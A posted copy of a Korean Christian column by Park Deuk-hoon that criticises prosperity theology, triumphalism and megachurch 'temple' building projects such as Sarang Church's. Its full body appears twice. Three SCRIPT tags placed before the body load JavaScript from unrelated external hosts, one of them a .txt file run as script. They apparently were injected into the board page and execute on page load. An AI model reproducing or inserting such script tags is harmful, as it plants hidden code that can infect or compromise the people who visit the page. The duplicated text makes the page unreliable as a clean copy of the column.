칼럼 [박득훈 칼럼] 하나님 말씀을 분별하는 힘[뉴조04/18]
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작성자 by 관리자 / 작성일10-04-21 11:57 / 조회 3,465 / 댓글0본문
<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script> <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script> <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script> 하나님 말씀을 분별하는 힘
오늘 한국교회가 정체성의 위기를 맞이하고 있는 근원에는 하나님의 말씀이 제멋대로 뒤틀려지는 슬픈 현상이 자리 잡고 있다. 예레미야 시대처럼 교회 지도자들이 거짓을 일삼고 권력으로 다스리지만 교인들은 그들에게 전폭적인 지지와 환호를 보내고 있다. (렘 5:31) 한국교회는 하나님 말씀에 대한 베뢰아 사람들의 진지한 태도를 본받아야 한다. (행 17:10-12) 대형 교회 목사의 말씀이라면 무조건 '아멘!'으로 응답하는 자세를 과감히 떨쳐 버리고, 하나님의 말씀을 옳게 분별하는 힘을 길러 가야 한다. 두 가지 예만 들고자 한다.
승리주의에 대한 무감각
우선 하나님의 말씀이 우리에게 약속해 주는 진정한 승리는 세속적인 승리주의자들이 말하는 바와 다르다는 것을 분명하게 깨달아야 한다. 예컨대 <긍정의 힘>의 저자인 조엘 오스틴은 입만 열면 "당신들은 피해자가 아니라 승리자"라며 격려한다. 하나님의 통치를 제대로 믿으면 이 세상에서 반드시 성공하고 승리할 수 있다는 자신감을 불어넣어 주는 일에 총력을 기울인다. 또한 세상에서 승리자가 되어야 나누고 베푸는 삶을 살 수 있다고 주장한다. 그런가 하면 조용기 목사는 올해 2월 14일 '행복으로의 초대'에 실린 설교에서 나사로를 "하나님을 잘 믿으나 상 주시는 것을 모르고 평생 거지로 산 사람"이라고 폄하했다. 한 걸음 더 나아가 "예수도 잘 믿고 돈도 잘 벌고 교회도 열심히 나오고 부자가 되고 그래야 참으로 주님께 영광을 돌릴 수 있다"고 역설했다.
그런데 한국교회는 대체적으로 이런 승리주의적 경향성에 대하여 아직 경각심을 갖고 있지 못하고 있다. 지난 4월 1일 한국교회언론회는 미디어 읽기를 통해 일반 언론의 법정 스님과 그의 <무소유>에 대한 과도한 집중에 불편한 심기를 드러냈다. 무소유는 한 사람이 남긴 삶의 궤적으로는 아름다운 덕목임에 틀림없지만, 오히려 소유가 있음으로 나눔도 가능한 것이고, 베풂의 순환도 일어날 수 있는 것이 아닌가 하고 반문했다.
이런 관점은 그럴듯해 보이지만 사람들이 나눔과 베풂을 빙자해서 자신의 부를 정당화하는 위선에 식상해 하고 있다는 점을 놓치는 것이다. 법정 스님은 부 자체를 부정해서가 아니라 나누기 위해 무소유의 삶을 추구했다. 그러나 적지 않은 한국 그리스도인들은 나누고 베풀기 위해서 부를 추구하는 것 같지만 사실은 부의 축적을 정당화하는 수단으로 나눔과 베풂을 이용하고 있다. 그런 사람은 극한 가난 중에도 풍성하게 나누었던 마게도냐 교회 성도들의 아름다움을 알지 못한다. (고후 8:1-5) 일단 먼저 세상에서 승리하여 부자가 되어야만 나눌 수 있다고 생각하는 사람은 그리스도의 은혜에서 멀리 떨어져 있는 사람이다.
하나님이 우리에게 약속하는 승리란 그런 것이 아니다. 어떤 고난과 역경 속에서도 하나님의 끊어질 수 없는 사랑에 의지하여(롬 8:37), 그리고 부활 신앙으로(고전 15:57-58) 흔들림 없이, 그리고 넉넉히 하나님나라의 증인으로 살아가는 것이다. 리처드 마우가 <무례한 기독교>에서 잘 말해 주고 있는 것처럼, 그리스도인은 이 땅에서 승리의 전리품을 얻으려 해선 안 되고, 궁극적 승리를 믿고 기꺼이 고난의 길을 걸어가야 한다.
맘몬 왕국 건설과 하나님나라 확장 분별
한국교회는 여전히 교회 건물을 성전이라 지칭하며 교회 건축에 열을 올리고 있다. 최근 사랑의교회의 2,100억 원 규모의 건축 추진은 이를 대표하는 사례일 뿐이다. 사랑의교회마저 교회 건물 건축을 '성전 건축'으로 규정하고 있는 것에 참담한 마음을 금할 길 없다. 구약적이고 유대교적인 의미에서의 성전이 아니라 그 안에서 거룩한 예배를 드리는 장소라는 실용적 의미로서의 성전이라는 것이다. 그러나 이는 유대교야말로 그 건물 안에서 이뤄지는 것이 거룩한 예배라고 믿었기 때문에 그 건물을 성전으로 간주했다는 점을 간과하는 궤변에 지나지 않는다.
예수님이 오신 이래로 성전의 개념은 완전히 바뀌었다. 건물은 그 안에서 아무리 거룩한 행사가 치러진다 해도 더 이상 성전이라고 부를 수 없다. 예수님 자신이 하나님이 임재하시는 성전이 되셨고(요 2:19-21), 예수님과 연합한 성도들의 공동체 즉 교회가 성전(고전 3:16; 엡 2:20-22)이 되었기 때문이다. 그러므로 신약 시대에 성전을 세워 간다는 것은 성도들이 주님과 성령 안에서 서로 친밀하게 연결되어 하나님이 거하실 처소가 되기 위하여 함께 지어져 가는 것이다. 초대 예루살렘 교회가 그 대표적 예라 할 수 있다. (행 2:42-47) 그들은 십자가와 부활의 도를 핵심으로 하는 하나님의 말씀을 사도들을 통해 열심히 배웠고, 서로 교제하고 떡을 떼며 기도하기를 힘썼다. 교제의 진정성은 모든 물건을 공통으로 사용하며, 구성원의 필요가 생기면 기꺼이 재산을 팔아서 채움으로 증명이 되었다.
한국교회가 이렇게 진정한 의미에서 성전을 세워 가는 일에 힘을 기울인다면, 도저히 교회 건물 건축에 그렇게 어마어마한 재정을 쏟아부을 수 없을 것이다. 그러나 한국교회는 진정한 성전 세우기는 외면한 채, 사랑의교회 건축위원회도 자인한 것처럼, '쉽게 건축'을 하기 위하여 '성전 건축'이라는 용어를 버젓이 사용하고 있는 것이다. 한 걸음 더 나아가 교회 신축 부지를 감히 '거룩한 땅'이라 명명하고 거룩한 땅 밟기 운동을 펼치고 있다. 이는 구약의 거룩한 땅은 크리스토퍼 라이트가 <현대를 위한 구약 윤리>에서 잘 보여 준 것처럼 신약 시대에 성도들의 사귐으로 발전되었음을 무시하는 처사이다. 이는 성전 그 자체이신 예수님과 진정한 교회에 대한 모독이라 아니할 수 없다.
어둠의 세력은 하나님의 말씀을 혼잡케 함으로써 교란 작전을 펼치고 있다. 그리스도인들은 맘몬의 왕국을 건설하고 있으면서 마치 하나님나라를 확장해 가고 있는 것 같은 착시 현상에 빠져 있다. 스스로 멸망의 길을 걸어가고 있는 것이다. 어찌 교회가 그런 길을 걸어가도록 방관할 수 있겠는가. 먼저 깨달은 사람들부터 하나님의 말씀을 옳게 분별하여 널리 알리는 작업을 힘차게 펼쳐 가야 할 것이다.
박득훈 / 기독연구원 느헤미야 원장, 개혁연대 공동대표
오늘 한국교회가 정체성의 위기를 맞이하고 있는 근원에는 하나님의 말씀이 제멋대로 뒤틀려지는 슬픈 현상이 자리 잡고 있다. 예레미야 시대처럼 교회 지도자들이 거짓을 일삼고 권력으로 다스리지만 교인들은 그들에게 전폭적인 지지와 환호를 보내고 있다. (렘 5:31) 한국교회는 하나님 말씀에 대한 베뢰아 사람들의 진지한 태도를 본받아야 한다. (행 17:10-12) 대형 교회 목사의 말씀이라면 무조건 '아멘!'으로 응답하는 자세를 과감히 떨쳐 버리고, 하나님의 말씀을 옳게 분별하는 힘을 길러 가야 한다. 두 가지 예만 들고자 한다.
승리주의에 대한 무감각
우선 하나님의 말씀이 우리에게 약속해 주는 진정한 승리는 세속적인 승리주의자들이 말하는 바와 다르다는 것을 분명하게 깨달아야 한다. 예컨대 <긍정의 힘>의 저자인 조엘 오스틴은 입만 열면 "당신들은 피해자가 아니라 승리자"라며 격려한다. 하나님의 통치를 제대로 믿으면 이 세상에서 반드시 성공하고 승리할 수 있다는 자신감을 불어넣어 주는 일에 총력을 기울인다. 또한 세상에서 승리자가 되어야 나누고 베푸는 삶을 살 수 있다고 주장한다. 그런가 하면 조용기 목사는 올해 2월 14일 '행복으로의 초대'에 실린 설교에서 나사로를 "하나님을 잘 믿으나 상 주시는 것을 모르고 평생 거지로 산 사람"이라고 폄하했다. 한 걸음 더 나아가 "예수도 잘 믿고 돈도 잘 벌고 교회도 열심히 나오고 부자가 되고 그래야 참으로 주님께 영광을 돌릴 수 있다"고 역설했다.
그런데 한국교회는 대체적으로 이런 승리주의적 경향성에 대하여 아직 경각심을 갖고 있지 못하고 있다. 지난 4월 1일 한국교회언론회는 미디어 읽기를 통해 일반 언론의 법정 스님과 그의 <무소유>에 대한 과도한 집중에 불편한 심기를 드러냈다. 무소유는 한 사람이 남긴 삶의 궤적으로는 아름다운 덕목임에 틀림없지만, 오히려 소유가 있음으로 나눔도 가능한 것이고, 베풂의 순환도 일어날 수 있는 것이 아닌가 하고 반문했다.
이런 관점은 그럴듯해 보이지만 사람들이 나눔과 베풂을 빙자해서 자신의 부를 정당화하는 위선에 식상해 하고 있다는 점을 놓치는 것이다. 법정 스님은 부 자체를 부정해서가 아니라 나누기 위해 무소유의 삶을 추구했다. 그러나 적지 않은 한국 그리스도인들은 나누고 베풀기 위해서 부를 추구하는 것 같지만 사실은 부의 축적을 정당화하는 수단으로 나눔과 베풂을 이용하고 있다. 그런 사람은 극한 가난 중에도 풍성하게 나누었던 마게도냐 교회 성도들의 아름다움을 알지 못한다. (고후 8:1-5) 일단 먼저 세상에서 승리하여 부자가 되어야만 나눌 수 있다고 생각하는 사람은 그리스도의 은혜에서 멀리 떨어져 있는 사람이다.
하나님이 우리에게 약속하는 승리란 그런 것이 아니다. 어떤 고난과 역경 속에서도 하나님의 끊어질 수 없는 사랑에 의지하여(롬 8:37), 그리고 부활 신앙으로(고전 15:57-58) 흔들림 없이, 그리고 넉넉히 하나님나라의 증인으로 살아가는 것이다. 리처드 마우가 <무례한 기독교>에서 잘 말해 주고 있는 것처럼, 그리스도인은 이 땅에서 승리의 전리품을 얻으려 해선 안 되고, 궁극적 승리를 믿고 기꺼이 고난의 길을 걸어가야 한다.
맘몬 왕국 건설과 하나님나라 확장 분별
한국교회는 여전히 교회 건물을 성전이라 지칭하며 교회 건축에 열을 올리고 있다. 최근 사랑의교회의 2,100억 원 규모의 건축 추진은 이를 대표하는 사례일 뿐이다. 사랑의교회마저 교회 건물 건축을 '성전 건축'으로 규정하고 있는 것에 참담한 마음을 금할 길 없다. 구약적이고 유대교적인 의미에서의 성전이 아니라 그 안에서 거룩한 예배를 드리는 장소라는 실용적 의미로서의 성전이라는 것이다. 그러나 이는 유대교야말로 그 건물 안에서 이뤄지는 것이 거룩한 예배라고 믿었기 때문에 그 건물을 성전으로 간주했다는 점을 간과하는 궤변에 지나지 않는다.
예수님이 오신 이래로 성전의 개념은 완전히 바뀌었다. 건물은 그 안에서 아무리 거룩한 행사가 치러진다 해도 더 이상 성전이라고 부를 수 없다. 예수님 자신이 하나님이 임재하시는 성전이 되셨고(요 2:19-21), 예수님과 연합한 성도들의 공동체 즉 교회가 성전(고전 3:16; 엡 2:20-22)이 되었기 때문이다. 그러므로 신약 시대에 성전을 세워 간다는 것은 성도들이 주님과 성령 안에서 서로 친밀하게 연결되어 하나님이 거하실 처소가 되기 위하여 함께 지어져 가는 것이다. 초대 예루살렘 교회가 그 대표적 예라 할 수 있다. (행 2:42-47) 그들은 십자가와 부활의 도를 핵심으로 하는 하나님의 말씀을 사도들을 통해 열심히 배웠고, 서로 교제하고 떡을 떼며 기도하기를 힘썼다. 교제의 진정성은 모든 물건을 공통으로 사용하며, 구성원의 필요가 생기면 기꺼이 재산을 팔아서 채움으로 증명이 되었다.
한국교회가 이렇게 진정한 의미에서 성전을 세워 가는 일에 힘을 기울인다면, 도저히 교회 건물 건축에 그렇게 어마어마한 재정을 쏟아부을 수 없을 것이다. 그러나 한국교회는 진정한 성전 세우기는 외면한 채, 사랑의교회 건축위원회도 자인한 것처럼, '쉽게 건축'을 하기 위하여 '성전 건축'이라는 용어를 버젓이 사용하고 있는 것이다. 한 걸음 더 나아가 교회 신축 부지를 감히 '거룩한 땅'이라 명명하고 거룩한 땅 밟기 운동을 펼치고 있다. 이는 구약의 거룩한 땅은 크리스토퍼 라이트가 <현대를 위한 구약 윤리>에서 잘 보여 준 것처럼 신약 시대에 성도들의 사귐으로 발전되었음을 무시하는 처사이다. 이는 성전 그 자체이신 예수님과 진정한 교회에 대한 모독이라 아니할 수 없다.
어둠의 세력은 하나님의 말씀을 혼잡케 함으로써 교란 작전을 펼치고 있다. 그리스도인들은 맘몬의 왕국을 건설하고 있으면서 마치 하나님나라를 확장해 가고 있는 것 같은 착시 현상에 빠져 있다. 스스로 멸망의 길을 걸어가고 있는 것이다. 어찌 교회가 그런 길을 걸어가도록 방관할 수 있겠는가. 먼저 깨달은 사람들부터 하나님의 말씀을 옳게 분별하여 널리 알리는 작업을 힘차게 펼쳐 가야 할 것이다.
박득훈 / 기독연구원 느헤미야 원장, 개혁연대 공동대표